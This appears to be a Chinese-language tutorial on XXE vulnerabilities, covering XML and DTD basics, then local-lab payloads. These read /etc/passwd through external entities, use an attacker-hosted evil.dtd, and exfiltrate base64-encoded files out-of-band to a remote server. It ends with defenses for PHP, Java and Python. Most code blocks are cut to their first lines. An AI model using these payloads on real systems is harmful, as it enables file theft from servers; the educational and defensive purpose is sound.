XML基础
针对于XXE漏洞,只需要了解XML基础以及DTD的编写
什么是XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
上图是一个普通的xml文档,在图片中,
-
第一行叫做文档声明
-
3-8行叫做文档类型定义(简称:DTD)
-
10-14行叫做文档元素,由DTD定义过的元素才能被xml文档理解,才能在这里使用
整个learn.xml
文件在浏览器中显示如下图所示:
DTD
DTD的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明
<!DOCTYPE 根元素 [元素声明]> |
如:
外部引用
<!DOCTYPE 根元素 SYSTEM "文件名"> |
如:
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量
第一种分类方式可以把实体分为内部实体或外部实体
内部实体和外部实体的引用方式都可以在文档元素中使用&实体名;
引用
内部实体
<!ENTITY 实体名 "实体值"> |
外部实体
XXE漏洞发生就发生在外部引用实体中,所以重点就是盯紧外部引用实体,其他的不用关心太多
<!ENTITY 实体名 SYSTEM "URI"> |
第二种分类方式可以分为普通实体和参数实体
普通实体的引用方式为:&实体名;
参数实体只能在DTD文档类型定义中引用,引用方式为:%实体名;
XXE漏洞攻击
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害,本篇文章只介绍读取任意文件的攻击方式:
由于实体的分类不同,恶意引入实体的方式可以有很多种:
- 内部声明DTD+普通实体
<?xml version="1.0"?> |
2.内部声明DTD+参数实体
xml内容:
<?xml version="1.0"?> |
dtd内容:
<!ENTITY xxe SYSTEM "file:///etc/passwd"> |
3.外部引用DTD+普通实体
xml内容:
<?xml version="1.0"?> |
dtd内容:
<!ENTITY xxe SYSTEM "file:///etc/passwd"> |
实验:有回显获取数据
本地搭建环境:
源码参考自一篇文章带你深入理解漏洞之 XXE 漏洞
xml.php
<?php |
payload:
<?xml version="1.0" encoding="utf-8"?> |
效果如图所示:
如果文件中包含特殊符号,则不能正常读取文件,这时候就需要用
<![CDATA[ |
来读取文件了,需要用上面的结构包住要读取的内容,在拼接以后再在 xml 中调用,那么要想在 DTD
中拼接,我们只有一种选择,就是使用 参数实体
使用下面的payload读取服务器上的含有特殊字符的文件:test.txt
<?xml version="1.0" encoding="utf-8"?> |
由于是本地搭建,所以引用的外部DTD文件是在我本机上的,实际操作过程中,应使用公网ip
evil.dtd
<?xml version="1.0" encoding="UTF-8"?> |
在演示过程中,我在本机开启phpstudy,在根目录创建了evil.dtd,然后在浏览器使用上面的payload访问目标网址,成功读取test.txt
文件内容
实际测试后发现,还是有些东西读不出来,比如尖括号<adsf>
和<jsjsks>
等内容,所以这个方法也不太好
实验:无回显获取数据
在实际测试过程中会发现,大部分网站人家的xml本身就不是用来输出的,因此我们需要不通过回显获取想要的数据,这个时候就需要把数据发送到远程服务器上了
xml.php
<?php |
我们需要构造payload去请求一个远程服务器的dtd文档
payload
<!DOCTYPE convert [ |
tmp.dtd
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> |
%init 调用 test.dtd 中的 %data, %data 就会去获取服务器上面的敏感文件,然后将 %data 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html16进制实体编码 &#x25;
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程服务器上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
XXE漏洞防御
使用语言中推荐的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true); |
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); |
Python:
from lxml import etree |
结语
XXE能实现的攻击有很多种,本文只讲解了其中一种,在学习过程中,是挺懵的,看了大佬的文章,佩服大佬的技术与文笔,在写笔记的过程中,多多少少参考了以下的几篇文章